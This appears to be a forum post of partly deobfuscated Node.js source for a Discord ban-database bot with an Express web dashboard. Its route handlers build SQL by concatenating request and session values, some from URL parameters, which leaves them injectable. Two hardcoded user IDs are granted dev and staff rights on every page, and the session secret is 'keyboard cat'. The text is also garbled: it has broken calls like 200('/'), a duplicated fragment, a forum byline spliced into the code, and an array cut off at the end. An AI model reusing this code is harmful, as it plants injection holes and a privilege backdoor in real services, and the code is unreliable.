            _0x164148 = false
            if (
              config.bot.owners.includes(_0x51edc0.session.passport.user.id)
            ) {
              _0x164148 = true
            }
          } else {
            _0x164148 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x412094, _0x36a2c0) {
              if (_0x412094) {
                throw _0x412094
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x51edc0.session.passport.user.id +
                  '"',
                async function (_0x48bfc3, _0x4e17f9) {
                  let _0x4aeab4
                  if (_0x48bfc3) {
                    throw _0x48bfc3
                  }
                  if (!_0x4e17f9[0]) {
                    _0x4aeab4 = 'False'
                  } else {
                    if (_0x4e17f9[0].active == 1) {
                      _0x4aeab4 = 'True'
                    } else {
                      _0x4aeab4 = 'False'
                    }
                  }
                  let _0x171030
                  if (
                    config.bot.owners.includes(
                      _0x51edc0.session.passport.user.id
                    )
                  ) {
                    _0x171030 = true
                  } else {
                    _0x171030 = false
                  }
                  if (_0x51edc0.isAuthenticated()) {
                    if (
                      _0x51edc0.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x51edc0.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x164148 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x43b870.render('account.ejs', {
                    user: _0x51edc0.session.passport.user,
                    loggedIn: _0x51edc0.isAuthenticated(),
                    siteInfo: _0x545eaa[0],
                    isStaff: _0x164148,
                    buttons: _0x36a2c0,
                    isUserBanned: _0x4aeab4,
                    isOwner: _0x171030,
                    userBans: _0x4e17f9,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/account/:id', checkAuth, async function (_0x462e4d, _0x107036) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0xca1ef6, _0x53c1d2) {
      let _0x2b0d62
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x462e4d.session.passport.user.id +
          '"',
        async function (_0x1e858a, _0x251571) {
          if (_0x1e858a) {
            throw _0x1e858a
          }
          if (!_0x251571[0]) {
            _0x2b0d62 = false
            if (
              config.bot.owners.includes(_0x462e4d.session.passport.user.id)
            ) {
              _0x2b0d62 = true
            }
          } else {
            _0x2b0d62 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x40fbd6, _0x3c8f12) {
              if (_0x40fbd6) {
                throw _0x40fbd6
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x462e4d.session.passport.user.id +
                  '"',
                async function (_0x458ec9, _0x526bc7) {
                  let _0x5b6d56
                  if (_0x458ec9) {
                    throw _0x458ec9
                  }
                  if (!_0x526bc7[0]) {
                    _0x5b6d56 = 'False'
                  } else {
                    if (_0x526bc7[0].active == 1) {
                      _0x5b6d56 = 'True'
                    } else {
                      _0x5b6d56 = 'False'
                    }
                  }
                  let _0x13cad0
                  if (
                    config.bot.owners.includes(
                      _0x462e4d.session.passport.user.id
                    )
                  ) {
                    _0x13cad0 = true
                  } else {
                    _0x13cad0 = false
                  }
                  if (_0x462e4d.isAuthenticated()) {
                    if (
                      _0x462e4d.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x462e4d.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x2b0d62 = true
                    } else {
                      dev = false
                    }
                  }
                  const _0x192f4e = await client.users.fetch(
                    _0x462e4d.params.id
                  )
                  client.con.query(
                    'SELECT * FROM users WHERE id = "' +
                      _0x462e4d.params.id +
                      '"',
                    async function (_0x57e8fc, _0x4e5401) {
                      if (_0x57e8fc) {
                        throw _0x57e8fc
                      }
                      if (!_0x4e5401[0]) {
                        _0x192f4e.email = 'Null'
                      } else {
                        _0x192f4e.email = _0x4e5401[0].userEmail
                      }
                      _0x107036.render('account.ejs', {
                        user: _0x192f4e,
                        loggedIn: _0x462e4d.isAuthenticated(),
                        siteInfo: _0x53c1d2[0],
                        isStaff: _0x2b0d62,
                        buttons: _0x3c8f12,
                        isUserBanned: _0x5b6d56,
                        isOwner: _0x13cad0,
                        userBans: _0x526bc7,
                        isDev: dev,
                      })
                    }
                  )
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/report', checkAuth, async function (_0x2b9de8, _0x22ba2f) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x2e970c, _0xac0246) {
      let _0x1debe3
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2b9de8.session.passport.user.id +
          '"',
        async function (_0x24395c, _0xe732fa) {
          if (_0x24395c) {
            throw _0x24395c
          }
          if (!_0xe732fa[0]) {
            _0x1debe3 = false
            if (
              config.bot.owners.includes(_0x2b9de8.session.passport.user.id)
            ) {
              _0x1debe3 = true
            }
          } else {
            _0x1debe3 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x136b14, _0x5569f5) {
              if (_0x136b14) {
                throw _0x136b14
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x2b9de8.session.passport.user.id +
                  '"',
                async function (_0x15a125, _0x2732ed) {
                  let _0x500fe9
                  if (_0x15a125) {
                    throw _0x15a125
                  }
                  if (!_0x2732ed[0]) {
                    _0x500fe9 = 'False'
                  } else {
                    if (_0x2732ed[0].active == 1) {
                      _0x500fe9 = 'True'
                    } else {
                      _0x500fe9 = 'False'
                    }
                  }
                  let _0x2786f2
                  if (
                    config.bot.owners.includes(
                      _0x2b9de8.session.passport.user.id
                    )
                  ) {
                    _0x2786f2 = true
                  } else {
                    _0x2786f2 = false
                  }
                  if (_0x2b9de8.isAuthenticated()) {
                    if (
                      _0x2b9de8.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2b9de8.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x1debe3 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x22ba2f.render('report.ejs', {
                    user: _0x2b9de8.session.passport.user,
                    loggedIn: _0x2b9de8.isAuthenticated(),
                    siteInfo: _0xac0246[0],
                    isStaff: _0x1debe3,
                    buttons: _0x5569f5,
                    isUserBanned: _0x500fe9,
                    isOwner: _0x2786f2,
                    userBans: _0x2732ed,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/appeal', checkAuth, async function (_0xe81f44, _0x1e80bd) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x12ad2b, _0x563051) {
      let _0x5024b4
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0xe81f44.session.passport.user.id +
          '"',
        async function (_0x5c1789, _0x409c12) {
          if (_0x5c1789) {
            throw _0x5c1789
          }
          if (!_0x409c12[0]) {
            _0x5024b4 = false
            if (
              config.bot.owners.includes(_0xe81f44.session.passport.user.id)
            ) {
              _0x5024b4 = true
            }
          } else {
            _0x5024b4 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x6635a4, _0x13fb85) {
              if (_0x6635a4) {
                throw _0x6635a4
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0xe81f44.session.passport.user.id +
                  '"',
                async function (_0x17e315, _0x1e91ca) {
                  let _0xff8985
                  if (_0x17e315) {
                    throw _0x17e315
                  }
                  if (!_0x1e91ca[0]) {
                    _0xff8985 = false
                  } else {
                    if (_0x1e91ca[0].active === 'true') {
                      _0xff8985 = true
                    } else {
                      if (_0x1e91ca[0].active === 'false') {
                        _0xff8985 = false
                      }
                    }
                  }
                  let _0x29d8a7
                  if (
                    config.bot.owners.includes(
                      _0xe81f44.session.passport.user.id
                    )
                  ) {
                    _0x29d8a7 = true
                  } else {
                    _0x29d8a7 = false
                  }
                  if (_0xe81f44.isAuthenticated()) {
                    if (
                      _0xe81f44.session.passport.user.id ===
                        '539975000799838249' ||
                      _0xe81f44.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x5024b4 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x1e80bd.render('appeal.ejs', {
                    user: _0xe81f44.session.passport.user,
                    loggedIn: _0xe81f44.isAuthenticated(),
                    siteInfo: _0x563051[0],
                    isStaff: _0x5024b4,
                    buttons: _0x13fb85,
                    isUserBanned: _0xff8985,
                    isOwner: _0x29d8a7,
                    userBans: _0x1e91ca,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/search', checkAuth, async function (_0x2a2c14, _0x4a932d) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x1cefb2, _0x38296d) {
      let _0x253d95
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2a2c14.session.passport.user.id +
          '"',
        async function (_0x4d9c54, _0x52403e) {
          if (_0x4d9c54) {
            throw _0x4d9c54
          }
          if (!_0x52403e[0]) {
            _0x253d95 = false
            if (
              config.bot.owners.includes(_0x2a2c14.session.passport.user.id)
            ) {
              _0x253d95 = true
            }
          } else {
            _0x253d95 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x2790bf, _0x152a1b) {
              if (_0x2790bf) {
                throw _0x2790bf
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0x2a2c14.session.passport.user.id +
                  '"',
                async function (_0x27ef14, _0x2c15d) {
                  let _0x2a30ce
                  if (_0x27ef14) {
                    throw _0x27ef14
                  }
                  if (!_0x2c15d[0]) {
                    _0x2a30ce = false
                  } else {
                    if (_0x2c15d[0].active === '1') {
                      _0x2a30ce = true
                    } else {
                      if (_0x2c15d[0].active === 'no') {
                        _0x2a30ce = false
                      }
                    }
                  }
                  let _0x52c282
                  if (
                    config.bot.owners.includes(
                      _0x2a2c14.session.passport.user.id
                    )
                  ) {
                    _0x52c282 = true
                  } else {
                    _0x52c282 = false
                  }
                  if (_0x2a2c14.isAuthenticated()) {
                    if (
                      _0x2a2c14.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2a2c14.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x253d95 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x4a932d.render('search.ejs', {
                    user: _0x2a2c14.session.passport.user,
                    loggedIn: _0x2a2c14.isAuthenticated(),
                    siteInfo: _0x38296d[0],
                    isStaff: _0x253d95,
                    buttons: _0x152a1b,
                    isUserBanned: _0x2a30ce,
                    isOwner: _0x52c282,
                    userBans: _0x2c15d,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/dashboard', checkAuth, async function (_0x35b240, _0x5e821e) {
  let _0x3930a7 = []
  let _0x32627e = []
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x3698eb, _0xb41321) {
      let _0x311e91
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x35b240.session.passport.user.id +
          '"',
        async function (_0x1441ac, _0x33efad) {
          if (_0x1441ac) {
            throw _0x1441ac
          }
          if (!_0x33efad[0]) {
            _0x311e91 = false
            if (
              config.bot.owners.includes(_0x35b240.session.passport.user.id)
            ) {
              _0x311e91 = true
            }
          } else {
            _0x311e91 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x480c6a, _0x3ec433) {
              if (_0x480c6a) {
                throw _0x480c6a
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x35b240.session.passport.user.id +
                  '"',
                async function (_0x53d5bd, _0x5ea7bb) {
                  let _0x37d39b
                  if (_0x53d5bd) {
                    throw _0x53d5bd
                  }
                  if (!_0x5ea7bb[0]) {
                    _0x37d39b = 'False'
                  } else {
                    if (_0x5ea7bb[0].active == 1) {
                      _0x37d39b = 'True'
                    } else {
                      _0x37d39b = 'False'
                    }
                  }
                  let _0x59edf5
                  if (
                    config.bot.owners.includes(
                      _0x35b240.session.passport.user.id
                    )
                  ) {
                    _0x59edf5 = true
                  } else {
                    _0x59edf5 = false
                  }
                  if (_0x35b240.isAuthenticated()) {
                    if (
                      _0x35b240.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x35b240.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x311e91 = true
                    } else {
                      dev = false
                    }
                  }
                  await _0x35b240.session.passport.user.guilds.forEach(
                    async function (_0x4224d7) {
                      if (_0x4224d7.owner) {
                        let _0x48f032 = await client.guilds.cache.get(
                          _0x4224d7.id
                        )
                        if (!_0x48f032) {
                          let _0x4ce1e9 = {
                            button: 'Invite Me',
                            style: 'guild-invite',
                            imgstyle: 'imgguildstyle-invite',
                            btn: 'btn-red',
                            target: '_blank',
                            link:
                              'https://discord.com/api/oauth2/authorize?client_id=' +
                              client.user.id +
                              '&permissions=8&scope=bot%20applications.commands',
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x4ce1e9)
                        } else {
                          let _0x23e9b3 = {
                            button: 'Manage Guild',
                            style: 'guild-manage',
                            imgstyle: 'imgguildstyle-manage',
                            btn: 'btn-success',
                            target: '',
                            link: '/dashboard/manage/' + _0x4224d7.id,
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x23e9b3)
                        }
                      }
                    }
                  )
                  _0x5e821e.render('dashboard.ejs', {
                    user: _0x35b240.session.passport.user,
                    loggedIn: _0x35b240.isAuthenticated(),
                    siteInfo: _0xb41321[0],
                    isStaff: _0x311e91,
                    buttons: _0x3ec433,
                    isUserBanned: _0x37d39b,
                    isOwner: _0x59edf5,
                    userBans: _0x5ea7bb,
                    isDev: dev,
                    bot: client,
                    guilds: _0x32627e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get(
  '/dashboard/manage/:id',
  checkAuth,
  async function (_0x505a6a, _0x16173d) {
    client.con.query(
      'SELECT * FROM siteSettings WHERE id="1"',
      async function (_0x1f84e7, _0x4080df) {
        let _0x4aa4b2
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x505a6a.session.passport.user.id +
            '"',
          async function (_0x3b3727, _0x3ef541) {
            if (_0x3b3727) {
              throw _0x3b3727
            }
            if (!_0x3ef541[0]) {
              _0x4aa4b2 = false
              if (
                config.bot.owners.includes(_0x505a6a.session.passport.user.id)
              ) {
                _0x4aa4b2 = true
              }
            } else {
              _0x4aa4b2 = true
            }
            let _0x32dcf0 = _0x505a6a.params.id
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0x48462d, _0x348184) {
                if (_0x48462d) {
                  throw _0x48462d
                }
                client.con.query(
                  'SELECT * FROM bans WHERE bannedUserId = "' +
                    _0x505a6a.session.passport.user.id +
                    '"',
                  async function (_0x58a10f, _0x23c925) {
                    let _0x374a6c
                    if (_0x58a10f) {
                      throw _0x58a10f
                    }
                    if (!_0x23c925[0]) {
                      _0x374a6c = 'False'
                    } else {
                      if (_0x23c925[0].active == 1) {
                        _0x374a6c = 'True'
                      } else {
                        _0x374a6c = 'False'
                      }
                    }
                    let _0x1e5bd1
                    if (
                      config.bot.owners.includes(
                        _0x505a6a.session.passport.user.id
                      )
                    ) {
                      _0x1e5bd1 = true
                    } else {
                      _0x1e5bd1 = false
                    }
                    if (_0x505a6a.isAuthenticated()) {
                      if (
                        _0x505a6a.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x505a6a.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x4aa4b2 = true
                      } else {
                        dev = false
                      }
                    }
                    let _0x3bbc84 = client.guilds.cache.get(_0x505a6a.params.id)
                    client.con.query(
                      'SELECT * FROM guildsettings WHERE guildid = "' +
                        _0x505a6a.params.id +
                        '"',
                      async function (_0xc66c52, _0x15d986) {
                        if (_0xc66c52) {
                          throw _0xc66c52
                        }
                        if (!_0x15d986[0]) {
                          client.con.query(
                            'INSERT INTO guildsettings (guildid, autobans) VALUES ("' +
                              _0x505a6a.params.id +
                              '", "1")',
                            async function (_0x3dc44a) {
                              if (_0x3dc44a) {
                                throw _0x3dc44a
                              }
                            }
                          )
                        }
                        client.con.query(
                          'SELECT * FROM guildsettings WHERE guildid = "' +
                            _0x505a6a.params.id +
                            '"',
                          async function (_0x1fe5c7, _0x207619) {
                            if (_0x1fe5c7) {
                              throw _0x1fe5c7
                            }
                            _0x16173d.render('manageGuild.ejs', {
                              user: _0x505a6a.session.passport.user,
                              loggedIn: _0x505a6a.isAuthenticated(),
                              siteInfo: _0x4080df[0],
                              isStaff: _0x4aa4b2,
                              buttons: _0x348184,
                              isUserBanned: _0x374a6c,
                              isOwner: _0x1e5bd1,
                              userBans: _0x23c925,
                              isDev: dev,
                              guild: _0x3bbc84,
                              guildSettings: _0x207619[0],
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          }
        )
      }
    )
  }
)
app.get('/staff', checkAuth, async function (_0x517470, _0x2d8265) {
  let _0x297c9e
  let _0x278702
  let _0x3df55c
  let _0x9e914f = []
  let _0x5c7813 = []
  let _0x42b988 = []
  client.con.query(
    'SELECT * FROM staff WHERE staffid="' +
      _0x517470.session.passport.user.id +
      '"',
    async function (_0x38a10a, _0x3ac4a8) {
      if (_0x38a10a) {
        throw _0x38a10a
      }
      if (!_0x3ac4a8[0]) {
        _0x297c9e = false
        if (config.bot.owners.includes(_0x517470.session.passport.user.id)) {
          _0x297c9e = true
        }
      } else {
        _0x297c9e = true
      }
      client.con.query(
        'SELECT * FROM siteSettings WHERE id="1"',
        async function (_0x5aad16, _0x391e6f) {
          if (_0x297c9e) {
            if (
              config.bot.owners.includes(_0x517470.session.passport.user.id)
            ) {
              _0x278702 = true
            } else {
              _0x278702 = false
            }
            if (_0x517470?.query?.page) {
              _0x3df55c = '/' + _0x517470.query.page
            } else {
              _0x3df55c = 'none'
            }
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0xaea17d, _0x49ab9e) {
                if (_0xaea17d) {
                  throw _0xaea17d
                }
                await client.con.query(
                  'SELECT * FROM staff',
                  async function (_0x54471c, _0x14cf16) {
                    if (_0x54471c) {
                      throw _0x54471c
                    }
                    await _0x14cf16.forEach(async function (_0x786f5) {
                      let _0x53eaf6 = Number(_0x786f5.staffid)
                      if (!isNaN(_0x53eaf6)) {
                        let _0x216590 = await client.users.fetch(
                          _0x786f5.staffid
                        )
                        let _0x52b721 = await client.users.fetch(
                          _0x786f5.userid
                        )
                        await _0x9e914f.push({
                          staffid: _0x786f5.staffid,
                          stafftag: _0x216590.tag,
                          userid: _0x786f5.userid,
                          usertag: _0x52b721.tag,
                        })
                      } else {
                        await client.con.query(
                          'DELETE FROM staff WHERE staffid="' +
                            _0x786f5.staffid +
                            '" LIMIT 1',
                          async function (_0x229fef, _0x14dcf3) {
                            if (_0x229fef) {
                              throw _0x229fef
                            }
                          }
                        )
                      }
                    })
                    await client.guilds.cache.forEach(async function (
                      _0x349f9e
                    ) {
                      const _0x213d08 = await client.users
                        .fetch(_0x349f9e.ownerId)
                        .catch((_0x413d6c) => {})
                      let _0x4e9fb2 = moment(_0x349f9e.createdAt)
                      let _0xf07208 =
                        _0x4e9fb2.format('DD/MM/YYYY') +
                        '( ' +
                        _0x4e9fb2.fromNow() +
                        ' )'
                      _0x5c7813.push({
                        guildId: _0x349f9e.id,
                        guildName: _0x349f9e.name,
                        ownerId: _0x213d08.id,
                        ownerTag: _0x213d08.tag,
                        guildIcon:
                          'https://cdn.discordapp.com/icons/' +
                          _0x349f9e.id +
                          '/' +
                          _0x349f9e.icon,
                        guildCreated: _0x349f9e.createdAt,
                        guildMembers: _0xf07208,
                      })
                    })
                    if (_0x517470.isAuthenticated()) {
                      if (
                        _0x517470.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x517470.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x297c9e = true
                      } else {
                        dev = false
                      }
                    }
                    if (!_0x297c9e) {
                      200('/')
                    }
                    client.con.query(
                      'SELECT * FROM users',
                      async function (_0x28cae2, _0x234757) {
                        if (_0x28cae2) {
                          throw _0x28cae2
                        }
                        client.con.query(
                          'SELECT * FROM bans',
                          async function (_0x211478, _0x46ac17) {
                            if (_0x211478) {
                              throw _0x211478
                            }
                            await _0x46ac17.forEach(async (_0x123375) => {
                              await _0x42b988.push({
                                userid: _0x123375.bannedUserId,
                                userTag: _0x123375.bannedUserTag,
                                staffid: _0x123375.staffMemberId,
                                staffTag: _0x123375.staffMemberTag,
                                reason: _0x123375.reason,
                                prrof: _0x123375.proof,
                                banId: _0x123375.banId,
                                time: _0x123375.dateTime,
                                active: _0x123375.active,
                                id: _0x123375.banId,
                              })
                            })
                            _0x2d8265.statusCode = 200
                            200('Content-Type', 'text/html')
                            200('staffhome.ejs', {
                              userCon: _0x234757,
                              bot: client,
                              user: _0x517470.session.passport.user,
                              loggedIn: _0x517470.isAuthenticated(),
                              config: config,
                              siteInfo: _0x391e6f[0],
                              isStaff: _0x297c9e,
                              isOwner: _0x278702,
                              page: _0x3df55c,
                              buttons: _0x49ab9e,
                              staff: _0x9e914f,
                              guilds: _0x5c7813,
                              bans: _0x42b988,
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          } else {
            200('/')
          }
        }
      )
    }
  )
})
app.get('/error', checkAuth, async function (_0x1005d7, _0x3a3e5f) {
  var _0x4ea81e = _0x1005d7.query.err || 'An error occured, go back.'
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x588892, _0x8bcd44) {
      let _0x43ff90
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x1005d7.session.passport.user.id +
          '"',
        async function (_0x199c9c, _0x2cfedf) {
          if (_0x199c9c) {
            throw _0x199c9c
          }
          if (!_0x2cfedf[0]) {
            _0x43ff90 = false
            if (
              config.bot.owners.includes(_0x1005d7.session.passport.user.id)
            ) {
              _0x43ff90 = true
            }
          } else {
            _0x43ff90 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0xe23a1e, _0x1aec5c) {
              if (_0xe23a1e) {
                throw _0xe23a1e
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x1005d7.session.passport.user.id +
                  '"',
                async function (_0x34b7fb, _0x403035) {
                  let _0x1c0735
                  if (_0x34b7fb) {
                    throw _0x34b7fb
                  }
                  if (!_0x403035[0]) {
                    _0x1c0735 = 'False'
                  } else {
                    if (_0x403035[0].active == 1) {
                      _0x1c0735 = 'True'
                    } else {
                      _0x1c0735 = 'False'
                    }
                  }
                  let _0x202df8
                  if (
                    config.bot.owners.includes(
                      _0x1005d7.session.passport.user.id
                    )
                  ) {
                    _0x202df8 = true
                  } else {
                    _0x202df8 = false
                  }
                  if (_0x1005d7.isAuthenticated()) {
                    if (
                      _0x1005d7.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x1005d7.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x43ff90 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x3a3e5f.render('error.ejs', {
                    user: _0x1005d7.session.passport.user,
                    loggedIn: _0x1005d7.isAuthenticated(),
                    siteInfo: _0x8bcd44[0],
                    isStaff: _0x43ff90,
                    buttons: _0x1aec5c,
                    isUserBanned: _0x1c0735,
                    isOwner: _0x202df8,
                    userBans: _0x403035,
                    isDev: dev,
                    bot: client,
                    error: _0x4ea81e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/discorduserdata', checkAuth, async function (_0x55d5a1, _0xc16733) {
  _0xc16733
    .type('json')
    .send(JSON.stringify(_0x55d5a1.session.passport.user, null, 4) + '\n')
})
app.get('/auth/discord', passport.authenticate('discord'))
app.get(
  '/auth/discord/callback',
  passport.authenticate('discord', { failureRedirect: '/' }),
  async function (_0x1f1fdb, _0x58287c) {
    client.con.query(
      "SELECT * FROM users WHERE userId = '" +
        _0x1f1fdb.session.passport.user.id +
        "'",
      (_0x307254, _0x448d34) => {
        if (_0x448d34[0]) {
        } else {
          let _0x182920 = _0x1f1fdb.session.passport.user.username
            .replaceAll('"', ' ')
            .replaceAll('`', ' ')
          client.con.query(
            "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('" +
              _0x1f1fdb.session.passport.user.id +
              "', '" +
              _0x182920 +
              "', '" +
              _0x1f1fdb.session.passport.user.tag +
              "', '" +
              _0x1f1fdb.session.passport.user.email +
              "')",
            function (_0x5bda17, _0x39393c) {
              if (_0x5bda17) {
                console.log(_0x5bda17)
              }
            }
          )
        }
      }
    )
    if (_0x1f1fdb.session?.loginRef) {
      _0x58287c.redirect(_0x1f1fdb.session.loginRef)
    } else {
      _0x58287c.redirect('/')
    }
    delete _0x1f1fdb.session?.loginRef
    client.users.fetch(_0x1f1fdb.session.passport.user.id).then((_0x16f282) => {
      moment.locale('en')
      let _0x51c5ed = new MessageActionRow().addComponents(
        new MessageButton()
          .setLabel('User Account')
          .setStyle('LINK')
          .setURL(
            (config.app.domain.endsWith('/')
              ? config.app.domain.slice(0, -1)
              : config.app.domain) +
              '/account/' +
              _0x16f282.id
          )
      )
      let _0xba4690 = new MessageEmbed()
        .setTitle('User Logged In')
        .setDescription(
          '**User:** ' +
            _0x16f282 +
            ' ' +
            _0x16f282.tag +
            ' (`' +
            _0x16f282.id +
            '`)\n**Time:** <t:' +
            moment().unix() +
            ':R> | ' +
            moment().format('LLLL')
        )
        .setThumbnail(_0x16f282.displayAvatarURL({ dynamic: true }))
        .setFooter({
          text: '' + client.user.username,
          iconURL: client.user.displayAvatarURL({ dynamic: true }),
        })
      const _0x5b3287 = client.channels.cache.get(config.info.siteLogs)
      _0x5b3287.send({
        embeds: [_0xba4690],
        components: [_0x51c5ed],
      })
    })
  }
)
app.get('*', function (_0x5282a9, _0x196a96) {
  _0x196a96.render('404.ejs')
})
app.listen(config.app.port)
process.report.reportOnFatalError = true
process.on('unhandledRejection', async (_0x364272) => {
  if (_0x364272.toString().includes('EADDRINUSE')) {
    return
  }
  const _0x13f4b9 = Date.now()
  console.log(_0x364272)
  let _0x29a4f3 = ['[ERR_HTTP_HEADERS_SENT]']
  let _0x1a7a3f = true
  _0x29a4f3.forEach(function (_0x46703a) {
    if (_0x364272.toString().includes(_0x46703a)) {
      _0x1a7a3f = false
    }
  })
  if (!_0x1a7a3f) {
    return
  }
  if (_0x364272.code === 'ER_NO_SUCH_TABLE') {
    return
  }
  const _0x501c8b = new formData()
  _0x501c8b.append('title', '[A] ' + _0x364272)
  _0x501c8b.append('description', '```\n' + _0x364272.stack + '```')
  _0x501c8b.append('category', 'Automatic')
  _0x501c8b.append('versions', '2.0.6')
  _0x501c8b.append('links', '' + config.app.domain)
})
client.login(config.bot.token).catch((_0x314d88) => {
  console.log(_0x314d88.message)
})
{
    return
  }
  if (_0x364272.code === 'ER_NO_SUCH_TABLE') {
    return
  }
  const _0x501c8b = new formData()
  _0x501c8b.append('title', '[A] ' + _0x364272)
  _0x501c8b.append('description', '```\n' + _0x364272.stack + '```')
  _0x501c8b.append('category', 'Automatic')
  _0x501c8b.append('versions', '2.0.6')
  _0x501c8b.append('links', '' + config.app.domain)
})
client.login(config.bot.token).catch((_0x314d88) => {
  console.log(_0x314d88.message)
})
yes420

Posted

On 5/2/2023 at 5:48 AM, Elite22 said:
const Discord = require('discord.js')
const config = require('./config.js')
const chalk = require('chalk')
const mysql = require('mysql')
const fs = require('fs')
const passport = require('passport')
const multer = require('multer')
const bodyParser = require('body-parser')
const session = require('express-session')
const formData = require('form-data')
let con = mysql.createConnection(config.sql)
const moment = require('moment')
const ms = require('ms')
const discordModals = require('discord-modals')
const client = new Discord.Client({
  shards: 'auto',
  allowedMentions: {
    parse: [],
    repliedUser: false,
  },
  partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
  intents: [
    Discord.Intents.FLAGS.GUILDS,
    Discord.Intents.FLAGS.GUILD_MEMBERS,
    Discord.Intents.FLAGS.GUILD_VOICE_STATES,
    Discord.Intents.FLAGS.GUILD_MESSAGES,
    Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
  ],
})
discordModals(client)
client.logo = config.miscOptions.botIconUrl
client.color = config.miscOptions.themeColor
client.footer = { text: 'Slash BanDB | Xolify#0207' }
client.commands = new Discord.Collection()
client.cooldowns = new Discord.Collection()
client.slashCommands = new Discord.Collection()
client.aliases = new Discord.Collection()
client.extensions = new Discord.Collection()
client.categories = require('fs').readdirSync('./commands')
client.con = con
const express = require('express')
const app = express()
if (Number(process.version.slice(1).split('.')[0] < 16)) {
  throw new Error(
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org'
  )
}
var multerStorage = multer.memoryStorage()
app.use(multer({ storage: multerStorage }).any())
app.use(bodyParser.urlencoded({ extended: false }))
app.use(
  session({
    secret: 'keyboard cat',
    resave: false,
    saveUninitialized: false,
    cookie: { maxAge: 31556952000 },
  })
)
app.use(passport.initialize())
app.use(passport.session())
app.use(express.static('public'))
app.use('/assets', express.static(__dirname + 'public/assets'))
app.set('views', './views')
app.set('view engine', 'ejs')
require('./backend/routing.js')(client, app, config)
async function checkAuth(_0x15d58a, _0x37293d, _0x483e35) {
  if (_0x15d58a.isAuthenticated()) {
    _0x483e35()
  } else {
    _0x37293d.redirect('/auth/discord')
  }
}
module.exports = client
function _0x2766() {
  return [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
